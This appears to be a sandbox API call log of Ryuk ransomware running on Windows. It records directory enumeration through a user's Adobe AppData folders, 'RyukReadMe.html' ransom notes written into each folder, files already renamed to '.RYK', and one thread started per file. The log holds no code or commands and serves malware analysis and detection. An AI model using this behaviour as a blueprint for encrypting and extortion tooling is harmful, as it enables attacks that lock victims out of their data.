	[0205.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0205.012] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.012] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0205.012] SetLastError (dwErrCode=0x0) 
	[0205.012] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0205.013] GetLastError () returned 0xb7
	[0205.013] CloseHandle (hObject=0x480) returned 1
	[0205.013] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0205.013] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f983b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f983b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.014] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4778f970, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4778f970, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4778f970, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.014] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47a894f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0205.014] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0205.017] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.018] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0205.018] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0205.361] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.362] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x47ad57b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0205.362] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0205.362] SetLastError (dwErrCode=0x0) 
	[0205.362] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0205.362] GetLastError () returned 0xb7
	[0205.363] CloseHandle (hObject=0x480) returned 1
	[0205.363] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.363] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4706b770, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4706b770, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4706b770, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.363] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0205.363] SetLastError (dwErrCode=0x0) 
	[0205.363] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0205.364] GetLastError () returned 0xb7
	[0205.364] CloseHandle (hObject=0x4cc) returned 1
	[0205.364] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0205.364] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x46aea490, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0205.364] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0205.365] SetLastError (dwErrCode=0x0) 
	[0205.365] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0205.365] GetLastError () returned 0xb7
	[0205.365] CloseHandle (hObject=0x438) returned 1
	[0205.365] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0205.365] SetLastError (dwErrCode=0x0) 
	[0205.365] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438
	[0205.366] GetLastError () returned 0xb7
	[0205.366] CloseHandle (hObject=0x438) returned 1
	[0205.366] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0205.367] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.367] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0205.367] SetLastError (dwErrCode=0x0) 
	[0205.367] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0205.367] GetLastError () returned 0xb7
	[0205.367] CloseHandle (hObject=0x4cc) returned 1
	[0205.368] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0205.368] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46aea490, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46aea490, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.368] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
	[0205.368] SetLastError (dwErrCode=0x0) 
	[0205.368] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x480
	[0205.369] GetLastError () returned 0xb7
	[0205.369] CloseHandle (hObject=0x480) returned 1
	[0205.369] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0205.369] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x46dbdeb0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x46dbdeb0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.369] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d6, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
	[0205.370] SetLastError (dwErrCode=0x0) 
	[0205.370] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x468
	[0205.370] GetLastError () returned 0xb7
	[0205.370] CloseHandle (hObject=0x468) returned 1
	[0205.370] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ee60
	[0205.371] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x47f25f90, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47f25f90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.371] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x470ddb90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8a42, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst.RYK", cAlternateFileName="ADOBEC~1.RYK")) returned 1
	[0205.371] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0205.374] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.375] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47129e50, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst.RYK", cAlternateFileName="ADOBES~1.RYK")) returned 1
	[0205.375] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0205.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0205.378] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.379] FindNextFileW (in: hFindFile=0x29ee60, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e6, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0205.379] SetLastError (dwErrCode=0x0) 
	[0205.379] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b4
	[0205.379] GetLastError () returned 0xb7
	[0205.380] CloseHandle (hObject=0x4b4) returned 1
	[0205.380] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0205.380] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x47e678b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x47e678b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0205.380] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x47801d90, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xd0e2, dwReserved0=0x1f0, dwReserved1=0x0, cFileName="AcroFnt10.lst.RYK", cAlternateFileName="ACROFN~1.RYK")) returned 1
	[0205.380] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
